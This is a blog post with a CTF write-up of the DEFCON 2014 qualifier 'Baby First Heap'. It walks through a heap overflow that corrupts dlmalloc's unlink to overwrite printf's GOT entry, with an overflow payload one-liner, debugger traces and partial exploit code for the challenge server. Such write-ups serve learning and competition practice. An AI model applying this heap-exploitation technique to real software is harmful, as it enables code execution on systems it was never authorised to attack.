Saturday, May 31, 2014

DEFCON 2014 quals - Baby First Heap

As the name of the challenge might imply, the given elf file was a pwnable with a heap overflow vulnerability. The program informed us of the allocator version 2.6.1 by Douglas Lee then proceeded to malloc twenty blocks of memory. There is one block that is always the given size of 260 bytes, which is where our input will be placed.
Ex. Output:
[ALLOC][loc=9449058][size=755]
[ALLOC][loc=9449350][size=260]
[ALLOC][loc=9449458][size=877]
[ALLOC][loc=94497D0][size=1245]
[ALLOC][loc=9449CB8][size=1047]
[ALLOC][loc=944A0D8][size=1152]
[ALLOC][loc=944A560][size=1047]
[ALLOC][loc=944A980][size=1059]
[ALLOC][loc=944ADA8][size=906]
[ALLOC][loc=944B138][size=879]
[ALLOC][loc=944B4B0][size=823]
Write to object [size=260]:

The user is able to give 4096 bytes of code, given in the following segment.
.text:08048A6B                 mov     dword ptr [esp+4], 4096 ; number of input bytes
.text:08048A73                 lea     eax, [esp+330h]
.text:08048A7A                 mov     [esp], eax      ; write location
.text:08048A7D                 call    get_my_line

At this point, it becomes the black magic that is a heap overflow. The nature of exploiting a heap overflow with a bad free is to overwrite the header in a manner where we are able to direct an arbitrary write. Writing over the header of the next block with 0xfffffffc, corrupts unlink method when the 260 memory block is being freed. At this point our exploit looks like:
python -c 'import struct;print "BBBB"+"CCCC"+"A"*252 + struct.pack("<I",0xfffffffc)'

Running this segfaults. Using a debugger gives us the following output, which we will step through in a second.
--------------------------------------------------------------------------[regs]
  EAX: 0x42424242  EBX: 0xF7FBBFF4  ECX: 0x0804D004  EDX: 0x43434343  o d I t s z A P c 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xFFFFC128  ESP: 0xFFFFC0F0  EIP: 0x080493F6
  CS: 0023  DS: 002B  ES: 002B  FS: 0000  GS: 0063  SS: 002B
--------------------------------------------------------------------------[code]
=> 0x80493f6 : mov    DWORD PTR [eax+0x8],edx
   0x80493f9 : mov    eax,DWORD PTR [ebp-0x24]
   0x80493fc : mov    edx,DWORD PTR [ebp-0x28]
   0x80493ff : mov    DWORD PTR [eax+0x4],edx

If you do a bit of reading on heap overflows with regards to abusing the unlink method, you will realize that at location 0x80493f6, the program attempts to write our second four bytes into the memory location represented by our first four bytes plus eight. In location 0x80493ff, our first four bytes will be written to the location pointed two by the second four bytes plus four. We could try to rebuild all the blocks that come after our exploit, but that would we incredibly difficult. After reading for a bit, it was recommended by some to overwrite the GOT entry for free with the location of our buffer. Since the free was not dynamically linked, we needed to find something else. Before it freed each block, it printed which block was being freed. This can be seen in:
.text:08048ADB                 mov     eax, offset aFreeAddressX ; "[FREE][address=%X]\n"
.text:08048AE0                 mov     [esp+4], edx
.text:08048AE4                 mov     [esp], eax      ; format
.text:08048AE7                 call    _printf
.text:08048AEC                 mov     eax, [esp+133Ch]
.text:08048AF3                 mov     eax, [esp+eax*8+10h]
.text:08048AF7                 mov     [esp], eax      ; mem
.text:08048AFA                 call    free

The printf function was dynamically linked. When coupled with the lack of RELRO, I decided to overwrite the GOT entry for printf with the location of our shellcode (Location of input + 8 bytes). The locations to write could be determined as the program ran over the wire since it printed out each location from our first example block. Some example code determining the locations using the pexpect library is shown:
s = socket.socket()
s.connect(("babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c.2014.shallweplayaga.me", 4088))
so = fdpexpect.fdspawn(s)
so.expect("ALLOC")
so.expect("size=260")
parse = so.before[-9:-2]
so.expect("]:")
ourBuff = str("0x"+parse)
print hex(int(ourBuff , 16))
exploit = struct.pack("<I", hex(int(ourBuff , 16)))
exploit += struct.pack("<I", printfLoc-4)
When printf is called after out malformed block gets freed, our shellcode is run instead, allowing us to get the flag. If you have any questions, feel free to ask!

--Imp3rial

No comments:

Post a Comment